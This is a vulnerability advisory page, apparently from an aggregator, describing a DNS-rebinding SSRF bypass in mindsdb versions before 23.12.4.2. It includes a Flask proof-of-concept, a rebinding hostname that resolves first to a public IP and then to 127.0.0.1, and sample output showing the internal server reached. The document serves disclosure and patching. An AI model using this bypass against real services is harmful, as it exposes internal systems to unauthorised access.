CWE
350 918
Advisory Published
Updated

GHSA-4jcv-vp96-94xr: SSRF

First published: Thu Sep 05 2024(Updated: )

### Summary DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase: ```python def is_private_url(url: str): """ Raises exception if url is private :param url: url to check """ hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) return ipaddress.ip_address(ip).is_private ``` As you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one. ### PoC ```python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests app = Flask(__name__) def is_private_url(url: str): """ Raises exception if url is private :param url: url to check """ hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: raise Exception(f"Private IP address found for {url}") @app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr" @app.route("/check_private_url", methods=["GET"]) def check_private_url(): url = request.args.get("url") if not url: return jsonify({"error": 'Missing "url" parameter'}), 400 try: is_private_url(url) response = requests.get(url) return jsonify( { "url": url, "is_private": False, "text": response.text, "status_code": response.status_code, } ) except Exception as e: return jsonify({"url": url, "is_private": True, "error": str(e)}) if __name__ == "__main__": app.run(debug=True) ``` After running the poc.py with flask installed, consider visiting the following URLs: 1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website. 3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true` 4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`. I set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot: ``` { "is_private": false, "status_code": 200, "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" } ``` ### Impact - Bypass the SSRF protection on the whole website with DNS Rebinding. - DoS too.

Affected SoftwareAffected VersionHow to fix
pip/mindsdb<23.12.4.2
23.12.4.2

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203